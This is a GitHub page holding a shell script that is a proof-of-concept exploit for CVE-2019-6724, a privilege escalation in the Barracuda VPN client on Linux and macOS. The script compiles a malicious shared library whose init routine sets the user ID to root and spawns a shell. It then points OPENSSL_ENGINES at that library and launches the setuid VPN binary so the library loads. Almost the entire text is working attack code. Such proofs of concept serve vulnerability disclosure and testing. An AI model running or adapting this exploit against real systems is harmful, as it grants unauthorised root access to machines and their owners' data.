-
Notifications
You must be signed in to change notification settings - Fork 30
/
CVE-2019-6724.sh
executable file
·50 lines (41 loc) · 965 Bytes
/
CVE-2019-6724.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/bin/sh
# PoC for CVE-2019-6724 Barracuda VPN Client Privilege Escalation
# Linux / macOS
# Rich Mirch
#
# Version tested:
#
# Barracuda Networks VPN client version: PhionVersionString 5.0.2.5
#
# OS tested:
#
# CentOS Linux release 7.4.1708 (Core)
# macOS 10.14.2
#
STAGE=$(mktemp -d /tmp/woot.XXXXXX)
cd ${STAGE?} || exit 1
export OPENSSL_ENGINES=${STAGE?}
cat >woot.c<<EOF
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void woot(){
setreuid(0,0);
execl("/bin/sh","/bin/sh",NULL);
}
EOF
u=$(uname)
gcc -fPIC -o woot.o -Wall -c woot.c
if [[ $u = "Linux" ]]
then
gcc -Wall -shared -Wl,-soname,libcavium.so -Wl,-init,woot -o ${STAGE?}/libcavium.so woot.o
/usr/local/bin/barracudavpn
elif [[ $u = "Darwin" ]]
then
gcc -Wall -dynamiclib -Wl,-init,_woot -o ${STAGE?}/libcavium.dylib woot.o
/Applications/BarracudaVPNClient.app/Contents/MacOS/barracudavpn.engine
else
echo "Error: OS not supported"
exit 1
fi
rm -rf ${STAGE?}